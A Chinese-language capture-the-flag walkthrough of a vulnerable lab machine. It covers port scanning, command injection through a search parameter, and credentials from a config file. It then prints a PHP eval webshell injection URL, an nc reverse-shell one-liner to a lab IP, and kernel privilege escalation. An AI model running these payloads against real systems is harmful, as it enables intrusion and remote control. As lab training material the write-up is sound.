本文内容涉及程序/技术原理可能带有攻击性,仅用于安全研究和教学使用,务必在模拟环境下进行实验,请勿将其用于其他用途。 因此造成的后果自行承担,如有违反国家法律则自行承担全部法律责任,与作者及分享者无关
kali:192.168.31.9 BreakOut:192.168.31.227
使用nmap探测目标主机端口2个端口,一个FTP,一个http 80端口网站打开是一个目录 打开site后是一个网站 简单查看后发现Buscar可以到跳转到其他页面,并且可接收参数
经过测试这个接口可以执行命令 查看页面源码发现使用buscar接收参数后使用system函数进行执行命令 尝试反弹shell没有成功,然后查看用户目录下有一个user.txt 访问后得到第一个flag 在网站目录下查看wordpress目录,发现一个config.php 查看配置文件拿到数据库用户名和密码,通过代码判断应该是MySQL的数据库
$servername = "localhost"; $database = "desafio02"; $username = "desafio02"; $password = "abygurl69";
使用获取到的用户名和密码尝试登录失败 然后尝试使用系统的用户和配置文件的密码组合发现登录成功,但是无法通过FTP获取更多信息 尝试使用命令执行写入shell
http://192.168.31.227/site/busque.php?buscar=echo '<?php @eval($_POST['x']); ?>' >> shell.php
检查看到shell写入成功 测试链接成功 查看系统版本和内核信息 查看.backup文件,发现存在用户名密码 反弹shell 使用蚁剑创建文件x.php,将以下内容写入文件,在kali上监听443端口,然后访问该文件
.backup
x.php
<?php system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.31.239 443 >/tmp/f");?>
然后使用python获取一个ttyshell
python3 -c 'import pty;pty.spawn("/bin/bash")'
然后我们们用之前获取的用户名密码切换到jangow01用户
jangow01
通过上面获取的内核版本信息,使用searchspolit查询发现有可用的提权POC 然后将POC下载到本地 将POC进行编译 通过尝试最终在jangow01用户的家目录下上传了exp 在赋权执行时发现执行失败 然后尝试使用ssh进行本地连接 使用ssh连接后发现仍无法执行,最终确定因为编译机器kali为ARM架构,靶机为x86所以会导致执行失败,然后将POC上传到靶机进行编译后成功提权 查看最后一个Flag